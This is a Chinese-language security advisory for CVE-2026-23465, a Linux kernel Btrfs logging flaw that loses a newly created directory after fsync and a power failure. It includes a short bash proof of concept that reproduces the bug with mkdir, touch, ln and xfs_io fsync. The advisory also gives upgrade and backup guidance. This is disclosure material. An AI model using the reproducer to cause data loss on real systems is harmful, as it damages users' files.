IPBUF安全漏洞报告
English
CVE-2026-23465 CVSS 5.5 中危

Linux Kernel Btrfs日志记录逻辑错误致数据丢失

披露日期: 2026-04-03
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23465
漏洞类型
逻辑错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelBtrfs数据丢失逻辑错误本地漏洞CVE-2026-23465

漏洞概述

Linux内核Btrfs文件系统存在逻辑漏洞。当记录冲突inode的父目录时,未同步记录该目录的新目录项,导致后续fsync操作被忽略。断电重启后日志重放时,新创建的目录项丢失,造成数据完整性受损和可用性问题。

技术细节

该漏洞源于Linux内核Btrfs文件系统的日志记录逻辑缺陷。当文件系统需要记录一个“冲突inode”(即已被删除且被同名新文件占用的inode)的父目录时,系统错误地仅标记了父目录的inode为已记录状态,却遗漏了记录该父目录下新创建的目录项。这导致后续对父目录执行的fsync操作被系统判定为无需操作。在发生断电等异常情况后,日志重放机制因缺少新目录项的记录而无法恢复数据,最终导致文件系统数据丢失,影响系统可用性。

攻击链分析

STEP 1
准备阶段
创建并删除目录foo,随后创建同名文件foo,制造冲突inode环境。
STEP 2
创建新目录
在当前目录下创建新的子目录dir1和dir2。
STEP 3
触发漏洞
对dir2执行fsync操作,触发错误的日志记录逻辑,导致父目录被标记为已记录但未记录新dentries。
STEP 4
空操作fsync
对当前目录执行fsync,系统误判无需操作,不写入新目录项。
STEP 5
电源故障
系统发生断电或崩溃。
STEP 6
数据丢失
系统重启并执行日志重放,由于未记录dir1,导致该目录丢失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-23465 # Reproduces Btrfs dentry loss after log replay mkdir foo sync rmdir foo mkdir dir1 mkdir dir2 # Create a file with the same name as the deleted directory # This creates a conflicting inode scenario touch foo ln foo dir2/link # Fsync dir2 triggers logging parent without new dentries xfs_io -c "fsync" dir2 # Fsync current dir is a no-op due to previous step xfs_io -c "fsync" . # Simulate power failure here # After reboot, 'dir1' will be missing

影响范围

Linux Kernel < versions with commit 1cf30c73602c69d750c9345c47f2c0e9d0cfb578
Linux Kernel < versions with commit 56e72c8b02d982be775d9df025357c152383ee84

防御指南

临时缓解措施
建议尽快升级内核以修复此漏洞。在未修复前,应确保关键数据有异地备份,并在可能的情况下避免在Btrfs文件系统上执行涉及频繁目录创建和删除的高风险操作,特别是在电力不稳定的场景中。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表